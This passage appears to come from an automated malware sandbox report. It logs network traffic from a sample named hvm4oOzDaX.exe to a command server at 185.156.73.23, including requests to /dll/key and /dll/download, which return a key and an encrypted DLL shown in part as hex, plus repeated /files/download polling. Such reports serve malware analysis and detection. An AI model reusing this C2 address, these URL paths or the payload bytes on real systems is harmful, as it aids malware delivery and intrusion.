Dec 20, 2024 16:36:48.418401003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.418487072 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.418698072 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.418746948 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.419294119 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.419358015 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.419399023 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.419445992 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.420200109 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.420272112 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.420891047 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.420933008 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.421147108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.421200991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.421372890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.421451092 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.422204971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.422255993 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.422725916 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.422770977 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.423055887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.423101902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.566809893 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.566890001 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.567071915 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.567082882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.567136049 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.567260027 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.567348003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.568016052 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.568115950 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.568239927 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.568438053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.568945885 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.569035053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.569196939 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.569586039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.569849968 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.569981098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.570254087 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.570755959 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.570898056 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.571187019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.571574926 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.571739912 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.571860075 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.571985006 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.572037935 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.572674990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.572760105 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.572964907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.573551893 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.573654890 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.573837996 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.574057102 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.574646950 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.574945927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.575414896 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.575427055 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.575454950 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.575634956 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.575665951 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.576030016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.576344967 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.576431036 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.576773882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.576909065 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.577299118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.577356100 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.577703953 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.577755928 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.578175068 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.578366041 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.578896046 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.578949928 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.579122066 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.579231024 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.579404116 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.579484940 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.580050945 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.580172062 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.580673933 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.580787897 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.580943108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.581083059 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.581109047 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.581233978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.581928968 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.582045078 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.582072020 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.582096100 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.582859039 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.582916021 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.583075047 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.583267927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.583729029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.583818913 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.583878994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.584033012 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.584646940 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.584738970 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.584851980 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.584901094 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.585639954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.585752010 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.585777998 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.586031914 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.586569071 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.586747885 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.587044001 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.587147951 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.587435961 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.587480068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.587546110 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.587662935 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.588361979 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.588542938 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.588594913 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.589036942 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.589363098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.589451075 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.589575052 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.589679003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.590255976 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.590475082 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.590615988 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.591149092 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.591382980 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:51.281259060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:51.284460068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:56.652307034 CET	49962	80	192.168.2.6	185.156.73.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:35:43.283152103 CET	54167	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:35:43.283152103 CET	192.168.2.6	1.1.1.1	0xc261	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:35:43.591166019 CET	1.1.1.1	192.168.2.6	0xc261	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:35:43.591166019 CET	1.1.1.1	192.168.2.6	0xc261	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:35:43.591166019 CET	1.1.1.1	192.168.2.6	0xc261	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.156.73.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49842	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:01.133872032 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:02.530546904 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:36:02.882384062 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:03.358248949 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 20, 2024 16:36:03.364968061 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:03.928808928 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 20, 2024 16:36:03.928924084 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 20, 2024 16:36:03.928936958 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 20, 2024 16:36:03.929336071 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 20, 2024 16:36:03.929366112 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 20, 2024 16:36:03.929379940 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
Dec 20, 2024 16:36:03.929399014 CET	1236	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
Dec 20, 2024 16:36:03.930083990 CET	1236	IN	Data Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44 Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZe'0ZiU4Nk+@V,E#LQ$iT{}@zFA8F /7B@57ARN"lU^-
Dec 20, 2024 16:36:03.930099010 CET	1236	IN	Data Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f Data Ascii: +[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y\|w.y0Pc-:gZdSw^P;$)SL'3{y
Dec 20, 2024 16:36:03.937514067 CET	1236	IN	Data Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6 Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM\|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
Dec 20, 2024 16:36:03.937979937 CET	1236	IN	Data Raw: 5c d2 2a c3 33 ff 78 3e 6f b5 ff a6 6c 71 6d 25 ef c6 14 af 9c 6f 38 91 81 96 1f ad 1d af 35 bc c0 00 0c 9f 24 93 c9 3c e6 d2 fa 28 eb 2b 80 23 82 81 de 2e ac 96 52 f9 19 0f 6b e2 00 36 46 1d c0 9d 55 0b 0f 62 85 f0 77 cb de 0e 5b 62 17 62 91 0d Data Ascii: \3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=vroh'ekzw,`3MG]snz1;DBKG4h2)N%5^6x8dW61~
Dec 20, 2024 16:36:04.512450933 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:04.998224974 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49861	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:07.151601076 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:08.496701002 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49875	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:10.718143940 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:12.056930065 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49891	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:16.263066053 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:17.600016117 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49899	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:19.762482882 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:21.085477114 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49907	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
